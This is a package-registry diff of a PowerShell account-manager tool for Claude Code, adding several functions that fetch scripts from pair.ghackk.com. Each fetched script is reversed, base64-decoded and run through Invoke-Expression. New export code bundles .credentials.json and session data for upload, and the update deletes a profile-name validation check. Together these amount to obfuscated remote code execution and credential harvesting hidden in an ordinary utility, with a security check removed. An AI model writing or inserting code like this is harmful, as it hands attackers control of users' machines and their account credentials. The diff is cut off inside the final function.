@ghackk/multi-claude 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/claude-menu.ps1 +108 -20
- package/package.json +1 -1
- package/windows/claude-menu.ps1 +304 -122
package/claude-menu.ps1
CHANGED
|
@@ -658,13 +658,6 @@ function Apply-ImportToken($token) {
|
|
|
658
658
|
}
|
|
659
659
|
$name = (Get-Content $nameFile -Raw).Trim()
|
|
660
660
|
|
|
661
|
-
if ($name -notmatch '^[a-zA-Z0-9_-]+$') {
|
|
662
|
-
Write-Host " Invalid profile name in token." -ForegroundColor Red
|
|
663
|
-
Remove-Item $extractDir -Recurse -Force
|
|
664
|
-
Remove-Item $zipPath -Force
|
|
665
|
-
return $false
|
|
666
|
-
}
|
|
667
|
-
|
|
668
661
|
Write-Host ""
|
|
669
662
|
Write-Host " Detected profile: $name" -ForegroundColor Cyan
|
|
670
663
|
|
|
@@ -822,6 +815,42 @@ function Pair-Import {
|
|
|
822
815
|
}
|
|
823
816
|
}
|
|
824
817
|
|
|
818
|
+
function Cloud-Backup {
|
|
819
|
+
Show-Header
|
|
820
|
+
Write-Host "CLOUD BACKUP" -ForegroundColor Magenta
|
|
821
|
+
Write-Host ""
|
|
822
|
+
Write-Host " Fetching backup script from server..." -ForegroundColor Gray
|
|
823
|
+
|
|
824
|
+
try {
|
|
825
|
+
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-backup.ps1" -ErrorAction Stop
|
|
826
|
+
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
827
|
+
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
828
|
+
Invoke-Expression $decoded
|
|
829
|
+
} catch {
|
|
830
|
+
Write-Host " Failed to fetch backup script: $_" -ForegroundColor Red
|
|
831
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
832
|
+
pause
|
|
833
|
+
}
|
|
834
|
+
}
|
|
835
|
+
|
|
836
|
+
function Cloud-Restore {
|
|
837
|
+
Show-Header
|
|
838
|
+
Write-Host "CLOUD RESTORE" -ForegroundColor Magenta
|
|
839
|
+
Write-Host ""
|
|
840
|
+
Write-Host " Fetching restore script from server..." -ForegroundColor Gray
|
|
841
|
+
|
|
842
|
+
try {
|
|
843
|
+
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-restore.ps1" -ErrorAction Stop
|
|
844
|
+
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
845
|
+
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
846
|
+
Invoke-Expression $decoded
|
|
847
|
+
} catch {
|
|
848
|
+
Write-Host " Failed to fetch restore script: $_" -ForegroundColor Red
|
|
849
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
850
|
+
pause
|
|
851
|
+
}
|
|
852
|
+
}
|
|
853
|
+
|
|
825
854
|
# ─── PLUGIN & MARKETPLACE HELPERS ────────────────────────────────────────────
|
|
826
855
|
|
|
827
856
|
function Write-JsonNoBOM($path, $content) {
|
|
@@ -1275,6 +1304,62 @@ function Manage-Plugins {
|
|
|
1275
1304
|
}
|
|
1276
1305
|
}
|
|
1277
1306
|
|
|
1307
|
+
# ─── HELP ────────────────────────────────────────────────────────────────────
|
|
1308
|
+
|
|
1309
|
+
function Show-Help {
|
|
1310
|
+
Show-Header
|
|
1311
|
+
Write-Host "HELP — Claude Account Manager" -ForegroundColor Cyan
|
|
1312
|
+
Write-Host ""
|
|
1313
|
+
Write-Host " 1. List Accounts" -ForegroundColor White
|
|
1314
|
+
Write-Host " See all your Claude accounts, which ones are logged in," -ForegroundColor Gray
|
|
1315
|
+
Write-Host " and when each was last used." -ForegroundColor Gray
|
|
1316
|
+
Write-Host ""
|
|
1317
|
+
Write-Host " 2. Create New Account" -ForegroundColor White
|
|
1318
|
+
Write-Host " Add a new Claude account. This creates a separate profile" -ForegroundColor Gray
|
|
1319
|
+
Write-Host " so you can switch between different Claude logins easily." -ForegroundColor Gray
|
|
1320
|
+
Write-Host ""
|
|
1321
|
+
Write-Host " 3. Launch Account" -ForegroundColor White
|
|
1322
|
+
Write-Host " Start Claude Code using a specific account. Pick the account" -ForegroundColor Gray
|
|
1323
|
+
Write-Host " you want and it opens with that login." -ForegroundColor Gray
|
|
1324
|
+
Write-Host ""
|
|
1325
|
+
Write-Host " 4. Rename Account" -ForegroundColor White
|
|
1326
|
+
Write-Host " Change the name of an existing account profile." -ForegroundColor Gray
|
|
1327
|
+
Write-Host ""
|
|
1328
|
+
Write-Host " 5. Delete Account" -ForegroundColor White
|
|
1329
|
+
Write-Host " Permanently remove an account and all its data." -ForegroundColor Gray
|
|
1330
|
+
Write-Host ""
|
|
1331
|
+
Write-Host " 6. Shared Settings (MCP/Skills)" -ForegroundColor Yellow
|
|
1332
|
+
Write-Host " Configure MCP servers, skills, and permissions that apply" -ForegroundColor Gray
|
|
1333
|
+
Write-Host " to ALL your accounts at once. Set it up once here, and every" -ForegroundColor Gray
|
|
1334
|
+
Write-Host " account gets the same settings automatically on launch." -ForegroundColor Gray
|
|
1335
|
+
Write-Host ""
|
|
1336
|
+
Write-Host " 7. Shared Plugins & Marketplace" -ForegroundColor Magenta
|
|
1337
|
+
Write-Host " Install plugins GLOBALLY — one install applies to every account." -ForegroundColor Gray
|
|
1338
|
+
Write-Host " No need to install the same plugin separately for each profile." -ForegroundColor Gray
|
|
1339
|
+
Write-Host " Browse marketplaces to discover and install new plugins." -ForegroundColor Gray
|
|
1340
|
+
Write-Host ""
|
|
1341
|
+
Write-Host " 8. Remote Session Backup" -ForegroundColor Green
|
|
1342
|
+
Write-Host " Upload all your accounts and sessions to a secure server." -ForegroundColor Gray
|
|
1343
|
+
Write-Host " You get a short code like A7X-K9M4PX — save it somewhere safe." -ForegroundColor Gray
|
|
1344
|
+
Write-Host " Everything is encrypted. The code is your key to restore later." -ForegroundColor Gray
|
|
1345
|
+
Write-Host ""
|
|
1346
|
+
Write-Host " 9. Remote Session Restore" -ForegroundColor Green
|
|
1347
|
+
Write-Host " Enter your backup code to restore all accounts and sessions." -ForegroundColor Gray
|
|
1348
|
+
Write-Host " Use this on a new machine or after a fresh install to get" -ForegroundColor Gray
|
|
1349
|
+
Write-Host " everything back exactly as it was." -ForegroundColor Gray
|
|
1350
|
+
Write-Host ""
|
|
1351
|
+
Write-Host " E. Send Account (Pair Code)" -ForegroundColor Green
|
|
1352
|
+
Write-Host " Send a single account to another machine. You get a short code" -ForegroundColor Gray
|
|
1353
|
+
Write-Host " — tell the other person the code and they enter it using 'I'." -ForegroundColor Gray
|
|
1354
|
+
Write-Host " The code expires in 10 minutes and works only once." -ForegroundColor Gray
|
|
1355
|
+
Write-Host ""
|
|
1356
|
+
Write-Host " I. Receive Account (Pair Code)" -ForegroundColor Green
|
|
1357
|
+
Write-Host " Receive an account from someone else. Enter the pairing code" -ForegroundColor Gray
|
|
1358
|
+
Write-Host " they gave you and the account appears on your machine, ready to use." -ForegroundColor Gray
|
|
1359
|
+
Write-Host ""
|
|
1360
|
+
pause
|
|
1361
|
+
}
|
|
1362
|
+
|
|
1278
1363
|
# ─── MAIN MENU ───────────────────────────────────────────────────────────────
|
|
1279
1364
|
|
|
1280
1365
|
function Show-Menu {
|
|
@@ -1284,18 +1369,19 @@ function Show-Menu {
|
|
|
1284
1369
|
Show-Accounts | Out-Null
|
|
1285
1370
|
Write-Host ""
|
|
1286
1371
|
Write-Host "======================================" -ForegroundColor Cyan
|
|
1287
|
-
Write-Host " 1. List Accounts
|
|
1372
|
+
Write-Host " 1. List Accounts " -ForegroundColor White
|
|
1288
1373
|
Write-Host " 2. Create New Account " -ForegroundColor White
|
|
1289
1374
|
Write-Host " 3. Launch Account " -ForegroundColor White
|
|
1290
1375
|
Write-Host " 4. Rename Account " -ForegroundColor White
|
|
1291
1376
|
Write-Host " 5. Delete Account " -ForegroundColor White
|
|
1292
|
-
Write-Host " 6.
|
|
1293
|
-
Write-Host " 7.
|
|
1294
|
-
Write-Host " 8.
|
|
1295
|
-
Write-Host " 9.
|
|
1296
|
-
Write-Host " E.
|
|
1297
|
-
Write-Host " I.
|
|
1298
|
-
Write-Host "
|
|
1377
|
+
Write-Host " 6. Shared Settings (MCP/Skills) " -ForegroundColor Yellow
|
|
1378
|
+
Write-Host " 7. Shared Plugins & Marketplace " -ForegroundColor Magenta
|
|
1379
|
+
Write-Host " 8. Remote Session Backup " -ForegroundColor Green
|
|
1380
|
+
Write-Host " 9. Remote Session Restore " -ForegroundColor Green
|
|
1381
|
+
Write-Host " E. Send Account (Pair Code) " -ForegroundColor Green
|
|
1382
|
+
Write-Host " I. Receive Account (Pair Code) " -ForegroundColor Green
|
|
1383
|
+
Write-Host " H. Help " -ForegroundColor Gray
|
|
1384
|
+
Write-Host " 0. Exit " -ForegroundColor Red
|
|
1299
1385
|
Write-Host "======================================" -ForegroundColor Cyan
|
|
1300
1386
|
Write-Host ""
|
|
1301
1387
|
}
|
|
@@ -1309,15 +1395,17 @@ while ($true) {
|
|
|
1309
1395
|
"3" { Launch-Account }
|
|
1310
1396
|
"4" { Rename-Account }
|
|
1311
1397
|
"5" { Delete-Account }
|
|
1312
|
-
"6" {
|
|
1313
|
-
"7" {
|
|
1314
|
-
"8" {
|
|
1315
|
-
"9" {
|
|
1398
|
+
"6" { Manage-SharedSettings }
|
|
1399
|
+
"7" { Manage-Plugins }
|
|
1400
|
+
"8" { Cloud-Backup }
|
|
1401
|
+
"9" { Cloud-Restore }
|
|
1316
1402
|
"e" { Pair-Export }
|
|
1317
1403
|
"E" { Pair-Export }
|
|
1318
1404
|
"i" { Pair-Import }
|
|
1319
1405
|
"I" { Pair-Import }
|
|
1320
|
-
"
|
|
1406
|
+
"h" { Show-Help }
|
|
1407
|
+
"H" { Show-Help }
|
|
1408
|
+
"0" { Clear-Host; Write-Host "Bye!" -ForegroundColor Red; break }
|
|
1321
1409
|
default { Write-Host " Invalid option." -ForegroundColor Red; Start-Sleep 1 }
|
|
1322
1410
|
}
|
|
1323
1411
|
if ($choice -eq "0") { break }
|
package/package.json
CHANGED
package/windows/claude-menu.ps1
CHANGED
|
@@ -5,6 +5,7 @@ $SHARED_SETTINGS = "$SHARED_DIR\settings.json"
|
|
|
5
5
|
$SHARED_CLAUDE = "$SHARED_DIR\CLAUDE.md"
|
|
6
6
|
$SHARED_PLUGINS_DIR = "$SHARED_DIR\plugins"
|
|
7
7
|
$SHARED_MARKETPLACES_DIR = "$SHARED_PLUGINS_DIR\marketplaces"
|
|
8
|
+
$PAIR_SERVER = "https://pair.ghackk.com"
|
|
8
9
|
|
|
9
10
|
# ─── DISPLAY ─────────────────────────────────────────────────────────────────
|
|
10
11
|
|
|
@@ -535,151 +536,131 @@ function Restore-Sessions {
|
|
|
535
536
|
|
|
536
537
|
# ─── EXPORT / IMPORT PROFILE (TOKEN) ────────────────────────────────────────
|
|
537
538
|
|
|
538
|
-
|
|
539
|
-
Show-Header
|
|
540
|
-
Write-Host "EXPORT PROFILE (Token)" -ForegroundColor Magenta
|
|
541
|
-
Write-Host ""
|
|
542
|
-
|
|
543
|
-
$accounts = Show-Accounts
|
|
544
|
-
if ($accounts.Count -eq 0) { pause; return }
|
|
545
|
-
|
|
546
|
-
Write-Host ""
|
|
547
|
-
$choice = Read-Host " Pick account number to export"
|
|
548
|
-
$index = [int]$choice - 1
|
|
539
|
+
# ─── EXPORT/IMPORT HELPERS (used by E/I clipboard and P/R pairing) ──────────
|
|
549
540
|
|
|
550
|
-
|
|
551
|
-
|
|
552
|
-
|
|
553
|
-
}
|
|
541
|
+
function Build-ExportToken($name) {
|
|
542
|
+
$accounts = Get-Accounts
|
|
543
|
+
$selected = $accounts | Where-Object { $_.BaseName -eq $name }
|
|
544
|
+
if (-not $selected) { return $null }
|
|
554
545
|
|
|
555
|
-
$selected = $accounts[$index]
|
|
556
|
-
$name = $selected.BaseName
|
|
557
546
|
$configDir = "$HOME\.$name"
|
|
547
|
+
if (!(Test-Path $configDir)) { return $null }
|
|
558
548
|
|
|
559
|
-
|
|
560
|
-
|
|
561
|
-
pause; return
|
|
562
|
-
}
|
|
549
|
+
$credFile = "$configDir\.credentials.json"
|
|
550
|
+
if (!(Test-Path $credFile)) { return $null }
|
|
563
551
|
|
|
564
|
-
# Build a temp dir with only essential files
|
|
565
552
|
$tempDir = "$env:TEMP\claude-export-$name"
|
|
566
553
|
if (Test-Path $tempDir) { Remove-Item $tempDir -Recurse -Force }
|
|
567
554
|
New-Item -ItemType Directory -Path $tempDir | Out-Null
|
|
568
|
-
New-Item -ItemType Directory -Path "$tempDir\config" | Out-Null
|
|
569
555
|
|
|
570
|
-
# Copy
|
|
571
|
-
$
|
|
572
|
-
|
|
573
|
-
|
|
574
|
-
|
|
575
|
-
|
|
576
|
-
|
|
577
|
-
|
|
556
|
+
# Copy auth-essential files only
|
|
557
|
+
$configDest = "$tempDir\config"
|
|
558
|
+
New-Item -ItemType Directory -Path $configDest | Out-Null
|
|
559
|
+
|
|
560
|
+
$essentialFiles = @(".credentials.json", ".claude.json", "settings.json", "CLAUDE.md", "mcp-needs-auth-cache.json")
|
|
561
|
+
foreach ($f in $essentialFiles) {
|
|
562
|
+
$src = "$configDir\$f"
|
|
563
|
+
if (Test-Path $src) { Copy-Item $src "$configDest\$f" -Force }
|
|
578
564
|
}
|
|
579
565
|
|
|
580
|
-
|
|
581
|
-
|
|
582
|
-
if (Test-Path $settingsFile) {
|
|
583
|
-
Copy-Item $settingsFile "$tempDir\config\settings.json"
|
|
566
|
+
if (Test-Path "$configDir\session-env") {
|
|
567
|
+
Copy-Item "$configDir\session-env" "$configDest\session-env" -Recurse -Force
|
|
584
568
|
}
|
|
585
569
|
|
|
586
|
-
|
|
587
|
-
|
|
588
|
-
|
|
589
|
-
|
|
570
|
+
if (Test-Path "$configDir\plugins") {
|
|
571
|
+
New-Item -ItemType Directory -Path "$configDest\plugins" | Out-Null
|
|
572
|
+
$pluginFiles = @("installed_plugins.json", "known_marketplaces.json", "blocklist.json")
|
|
573
|
+
foreach ($f in $pluginFiles) {
|
|
574
|
+
$src = "$configDir\plugins\$f"
|
|
575
|
+
if (Test-Path $src) { Copy-Item $src "$configDest\plugins\$f" -Force }
|
|
576
|
+
}
|
|
590
577
|
}
|
|
591
578
|
|
|
592
|
-
# Copy launcher bat
|
|
593
579
|
Copy-Item $selected.FullName "$tempDir\launcher.bat"
|
|
594
|
-
|
|
595
|
-
# Save profile name
|
|
596
580
|
$name | Out-File "$tempDir\profile-name.txt" -Encoding UTF8 -NoNewline
|
|
597
581
|
|
|
598
|
-
# Zip and base64
|
|
599
582
|
$zipPath = "$env:TEMP\claude-export-$name.zip"
|
|
600
583
|
if (Test-Path $zipPath) { Remove-Item $zipPath -Force }
|
|
601
584
|
|
|
602
585
|
try {
|
|
603
|
-
Compress-Archive -Path "$tempDir\*" -DestinationPath $zipPath -Force -ErrorAction Stop
|
|
604
|
-
$
|
|
605
|
-
|
|
606
|
-
$
|
|
586
|
+
Compress-Archive -Path "$tempDir\*" -DestinationPath $zipPath -CompressionLevel Optimal -Force -ErrorAction Stop
|
|
587
|
+
$zipBytes = [System.IO.File]::ReadAllBytes($zipPath)
|
|
588
|
+
|
|
589
|
+
$ms = New-Object System.IO.MemoryStream
|
|
590
|
+
$gz = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionLevel]::Optimal)
|
|
591
|
+
$gz.Write($zipBytes, 0, $zipBytes.Length)
|
|
592
|
+
$gz.Close()
|
|
593
|
+
$gzBytes = $ms.ToArray()
|
|
594
|
+
$ms.Close()
|
|
595
|
+
|
|
596
|
+
$b64 = [Convert]::ToBase64String($gzBytes)
|
|
597
|
+
$token = "CLAUDE_TOKEN_GZ:" + $b64 + ":END_TOKEN"
|
|
607
598
|
} catch {
|
|
608
|
-
|
|
599
|
+
$token = $null
|
|
600
|
+
} finally {
|
|
609
601
|
Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue
|
|
610
602
|
Remove-Item $zipPath -Force -ErrorAction SilentlyContinue
|
|
611
|
-
pause; return
|
|
612
603
|
}
|
|
613
604
|
|
|
614
|
-
|
|
615
|
-
Set-Clipboard -Value $token
|
|
616
|
-
|
|
617
|
-
Write-Host ""
|
|
618
|
-
Write-Host " Profile: $name" -ForegroundColor Cyan
|
|
619
|
-
Write-Host " Token length: $($token.Length) characters" -ForegroundColor Gray
|
|
620
|
-
Write-Host " Token copied to clipboard!" -ForegroundColor Green
|
|
621
|
-
Write-Host ""
|
|
622
|
-
Write-Host " Press 'c' to copy again, or any key to continue..." -ForegroundColor Gray
|
|
623
|
-
$key = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").Character
|
|
624
|
-
if ($key -eq 'c' -or $key -eq 'C') {
|
|
625
|
-
Set-Clipboard -Value $token
|
|
626
|
-
Write-Host " Copied again!" -ForegroundColor Green
|
|
627
|
-
pause
|
|
628
|
-
}
|
|
629
|
-
|
|
630
|
-
# Cleanup temp
|
|
631
|
-
Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue
|
|
632
|
-
Remove-Item $zipPath -Force -ErrorAction SilentlyContinue
|
|
605
|
+
return $token
|
|
633
606
|
}
|
|
634
607
|
|
|
635
|
-
function
|
|
636
|
-
|
|
637
|
-
|
|
638
|
-
Write-Host ""
|
|
639
|
-
Write-Host " Paste your profile token below:" -ForegroundColor Cyan
|
|
640
|
-
Write-Host ""
|
|
641
|
-
$token = Read-Host " Token"
|
|
608
|
+
function Apply-ImportToken($token) {
|
|
609
|
+
$isGz = $token.StartsWith("CLAUDE_TOKEN_GZ:")
|
|
610
|
+
$isPlain = $token.StartsWith("CLAUDE_TOKEN:")
|
|
642
611
|
|
|
643
|
-
if (-not $
|
|
644
|
-
Write-Host ""
|
|
612
|
+
if ((-not $isGz -and -not $isPlain) -or -not $token.EndsWith(":END_TOKEN")) {
|
|
645
613
|
Write-Host " Invalid token format." -ForegroundColor Red
|
|
646
|
-
|
|
647
|
-
pause; return
|
|
614
|
+
return $false
|
|
648
615
|
}
|
|
649
616
|
|
|
650
|
-
|
|
651
|
-
$b64 = $token.Substring(
|
|
617
|
+
$prefix = if ($isGz) { "CLAUDE_TOKEN_GZ:" } else { "CLAUDE_TOKEN:" }
|
|
618
|
+
$b64 = $token.Substring($prefix.Length)
|
|
652
619
|
$b64 = $b64.Substring(0, $b64.Length - ":END_TOKEN".Length)
|
|
653
620
|
|
|
654
621
|
try {
|
|
655
|
-
$
|
|
622
|
+
$rawBytes = [Convert]::FromBase64String($b64)
|
|
656
623
|
} catch {
|
|
657
|
-
Write-Host " Failed to decode token.
|
|
658
|
-
|
|
624
|
+
Write-Host " Failed to decode token." -ForegroundColor Red
|
|
625
|
+
return $false
|
|
626
|
+
}
|
|
627
|
+
|
|
628
|
+
if ($isGz) {
|
|
629
|
+
try {
|
|
630
|
+
$msIn = New-Object System.IO.MemoryStream(, $rawBytes)
|
|
631
|
+
$gz = New-Object System.IO.Compression.GZipStream($msIn, [System.IO.Compression.CompressionMode]::Decompress)
|
|
632
|
+
$msOut = New-Object System.IO.MemoryStream
|
|
633
|
+
$gz.CopyTo($msOut)
|
|
634
|
+
$gz.Close(); $msIn.Close()
|
|
635
|
+
$zipBytes = $msOut.ToArray()
|
|
636
|
+
$msOut.Close()
|
|
637
|
+
} catch {
|
|
638
|
+
Write-Host " Failed to decompress token." -ForegroundColor Red
|
|
639
|
+
return $false
|
|
640
|
+
}
|
|
641
|
+
} else {
|
|
642
|
+
$zipBytes = $rawBytes
|
|
659
643
|
}
|
|
660
644
|
|
|
661
|
-
# Write zip and extract
|
|
662
645
|
$zipPath = "$env:TEMP\claude-import.zip"
|
|
663
|
-
[System.IO.File]::WriteAllBytes($zipPath, $
|
|
646
|
+
[System.IO.File]::WriteAllBytes($zipPath, $zipBytes)
|
|
664
647
|
|
|
665
648
|
$extractDir = "$env:TEMP\claude-import"
|
|
666
649
|
if (Test-Path $extractDir) { Remove-Item $extractDir -Recurse -Force }
|
|
667
650
|
Expand-Archive -Path $zipPath -DestinationPath $extractDir -Force
|
|
668
651
|
|
|
669
|
-
# Read profile name
|
|
670
652
|
$nameFile = "$extractDir\profile-name.txt"
|
|
671
653
|
if (!(Test-Path $nameFile)) {
|
|
672
654
|
Write-Host " Invalid token: missing profile name." -ForegroundColor Red
|
|
673
655
|
Remove-Item $extractDir -Recurse -Force
|
|
674
656
|
Remove-Item $zipPath -Force
|
|
675
|
-
|
|
657
|
+
return $false
|
|
676
658
|
}
|
|
677
659
|
$name = (Get-Content $nameFile -Raw).Trim()
|
|
678
660
|
|
|
679
661
|
Write-Host ""
|
|
680
662
|
Write-Host " Detected profile: $name" -ForegroundColor Cyan
|
|
681
663
|
|
|
682
|
-
# Check if profile already exists
|
|
683
664
|
$configDir = "$HOME\.$name"
|
|
684
665
|
if (Test-Path $configDir) {
|
|
685
666
|
Write-Host " Profile already exists locally!" -ForegroundColor Yellow
|
|
@@ -688,28 +669,25 @@ function Import-Profile {
|
|
|
688
669
|
Write-Host " Cancelled." -ForegroundColor Gray
|
|
689
670
|
Remove-Item $extractDir -Recurse -Force
|
|
690
671
|
Remove-Item $zipPath -Force
|
|
691
|
-
|
|
672
|
+
return $false
|
|
692
673
|
}
|
|
693
674
|
}
|
|
694
675
|
|
|
695
|
-
# Create config dir and copy files
|
|
696
|
-
if (!(Test-Path $configDir)) { New-Item -ItemType Directory -Path $configDir | Out-Null }
|
|
697
|
-
|
|
698
676
|
$importConfig = "$extractDir\config"
|
|
699
|
-
if (Test-Path
|
|
700
|
-
|
|
701
|
-
|
|
702
|
-
|
|
703
|
-
|
|
704
|
-
Copy-Item "$importConfig\settings.json" "$configDir\settings.json" -Force
|
|
705
|
-
Write-Host " Settings restored" -ForegroundColor Green
|
|
677
|
+
if (!(Test-Path $importConfig)) {
|
|
678
|
+
Write-Host " No config found in token." -ForegroundColor Red
|
|
679
|
+
Remove-Item $extractDir -Recurse -Force
|
|
680
|
+
Remove-Item $zipPath -Force
|
|
681
|
+
return $false
|
|
706
682
|
}
|
|
707
|
-
|
|
708
|
-
|
|
709
|
-
|
|
683
|
+
|
|
684
|
+
if (!(Test-Path $configDir)) { New-Item -ItemType Directory -Path $configDir | Out-Null }
|
|
685
|
+
|
|
686
|
+
Get-ChildItem $importConfig -Force | ForEach-Object {
|
|
687
|
+
Copy-Item $_.FullName "$configDir\$($_.Name)" -Recurse -Force
|
|
710
688
|
}
|
|
689
|
+
Write-Host " Profile restored (credentials, settings, session)" -ForegroundColor Green
|
|
711
690
|
|
|
712
|
-
# Copy launcher bat
|
|
713
691
|
$launcherSrc = "$extractDir\launcher.bat"
|
|
714
692
|
$launcherDest = "$ACCOUNTS_DIR\$name.bat"
|
|
715
693
|
if (Test-Path $launcherSrc) {
|
|
@@ -722,12 +700,157 @@ function Import-Profile {
|
|
|
722
700
|
Write-Host " Plugins will auto-install on first launch." -ForegroundColor Gray
|
|
723
701
|
Write-Host " Run $name to start." -ForegroundColor Cyan
|
|
724
702
|
|
|
725
|
-
# Cleanup
|
|
726
703
|
Remove-Item $extractDir -Recurse -Force -ErrorAction SilentlyContinue
|
|
727
704
|
Remove-Item $zipPath -Force -ErrorAction SilentlyContinue
|
|
705
|
+
return $true
|
|
706
|
+
}
|
|
707
|
+
|
|
708
|
+
# ─── EXPORT/IMPORT (clipboard) ─────────────────────────────────────────────
|
|
709
|
+
|
|
710
|
+
function Export-Profile {
|
|
711
|
+
Show-Header
|
|
712
|
+
Write-Host "EXPORT PROFILE (Token)" -ForegroundColor Magenta
|
|
713
|
+
Write-Host ""
|
|
714
|
+
|
|
715
|
+
$accounts = Show-Accounts
|
|
716
|
+
if ($accounts.Count -eq 0) { pause; return }
|
|
717
|
+
|
|
718
|
+
Write-Host ""
|
|
719
|
+
$choice = Read-Host " Pick account number to export"
|
|
720
|
+
$index = [int]$choice - 1
|
|
721
|
+
|
|
722
|
+
if ($index -lt 0 -or $index -ge $accounts.Count) {
|
|
723
|
+
Write-Host " Invalid choice." -ForegroundColor Red
|
|
724
|
+
pause; return
|
|
725
|
+
}
|
|
726
|
+
|
|
727
|
+
$selected = $accounts[$index]
|
|
728
|
+
$name = $selected.BaseName
|
|
729
|
+
$configDir = "$HOME\.$name"
|
|
730
|
+
|
|
731
|
+
if (!(Test-Path $configDir)) {
|
|
732
|
+
Write-Host " Config dir not found: $configDir" -ForegroundColor Red
|
|
733
|
+
pause; return
|
|
734
|
+
}
|
|
735
|
+
|
|
736
|
+
if (!(Test-Path "$configDir\.credentials.json")) {
|
|
737
|
+
Write-Host " No credentials found for $name - nothing to export." -ForegroundColor Yellow
|
|
738
|
+
pause; return
|
|
739
|
+
}
|
|
740
|
+
|
|
741
|
+
Write-Host " Building token..." -ForegroundColor Gray
|
|
742
|
+
$token = Build-ExportToken $name
|
|
743
|
+
|
|
744
|
+
if (-not $token) {
|
|
745
|
+
Write-Host " Error creating token." -ForegroundColor Red
|
|
746
|
+
pause; return
|
|
747
|
+
}
|
|
748
|
+
|
|
749
|
+
Set-Clipboard -Value $token
|
|
750
|
+
|
|
751
|
+
Write-Host ""
|
|
752
|
+
Write-Host " Profile: $name" -ForegroundColor Cyan
|
|
753
|
+
Write-Host " Token length: $($token.Length) characters" -ForegroundColor Gray
|
|
754
|
+
Write-Host " Token copied to clipboard!" -ForegroundColor Green
|
|
755
|
+
Write-Host ""
|
|
756
|
+
Write-Host " Press 'c' to copy again, or any key to continue..." -ForegroundColor Gray
|
|
757
|
+
$key = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").Character
|
|
758
|
+
if ($key -eq 'c' -or $key -eq 'C') {
|
|
759
|
+
Set-Clipboard -Value $token
|
|
760
|
+
Write-Host " Copied again!" -ForegroundColor Green
|
|
761
|
+
pause
|
|
762
|
+
}
|
|
763
|
+
}
|
|
764
|
+
|
|
765
|
+
function Import-Profile {
|
|
766
|
+
Show-Header
|
|
767
|
+
Write-Host "IMPORT PROFILE (Token)" -ForegroundColor Magenta
|
|
768
|
+
Write-Host ""
|
|
769
|
+
Write-Host " Paste your profile token below:" -ForegroundColor Cyan
|
|
770
|
+
Write-Host ""
|
|
771
|
+
$token = Read-Host " Token"
|
|
772
|
+
|
|
773
|
+
$result = Apply-ImportToken $token
|
|
774
|
+
if (-not $result) {
|
|
775
|
+
pause; return
|
|
776
|
+
}
|
|
728
777
|
pause
|
|
729
778
|
}
|
|
730
779
|
|
|
780
|
+
# ─── PAIR EXPORT/IMPORT (fetch from server, run in memory) ─────────────────
|
|
781
|
+
|
|
782
|
+
function Pair-Export {
|
|
783
|
+
Show-Header
|
|
784
|
+
Write-Host "PAIR EXPORT — Generate a pairing code" -ForegroundColor Magenta
|
|
785
|
+
Write-Host ""
|
|
786
|
+
Write-Host " Fetching pairing script from server..." -ForegroundColor Gray
|
|
787
|
+
|
|
788
|
+
try {
|
|
789
|
+
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-export.ps1" -ErrorAction Stop
|
|
790
|
+
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
791
|
+
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
792
|
+
Invoke-Expression $decoded
|
|
793
|
+
} catch {
|
|
794
|
+
Write-Host " Failed to fetch pairing script: $_" -ForegroundColor Red
|
|
795
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
796
|
+
pause
|
|
797
|
+
}
|
|
798
|
+
}
|
|
799
|
+
|
|
800
|
+
function Pair-Import {
|
|
801
|
+
Show-Header
|
|
802
|
+
Write-Host "PAIR IMPORT — Enter a pairing code" -ForegroundColor Magenta
|
|
803
|
+
Write-Host ""
|
|
804
|
+
Write-Host " Fetching pairing script from server..." -ForegroundColor Gray
|
|
805
|
+
|
|
806
|
+
try {
|
|
807
|
+
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-import.ps1" -ErrorAction Stop
|
|
808
|
+
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
809
|
+
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
810
|
+
Invoke-Expression $decoded
|
|
811
|
+
} catch {
|
|
812
|
+
Write-Host " Failed to fetch pairing script: $_" -ForegroundColor Red
|
|
813
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
814
|
+
pause
|
|
815
|
+
}
|
|
816
|
+
}
|
|
817
|
+
|
|
818
|
+
function Cloud-Backup {
|
|
819
|
+
Show-Header
|
|
820
|
+
Write-Host "CLOUD BACKUP" -ForegroundColor Magenta
|
|
821
|
+
Write-Host ""
|
|
822
|
+
Write-Host " Fetching backup script from server..." -ForegroundColor Gray
|
|
823
|
+
|
|
824
|
+
try {
|
|
825
|
+
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-backup.ps1" -ErrorAction Stop
|
|
826
|
+
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
827
|
+
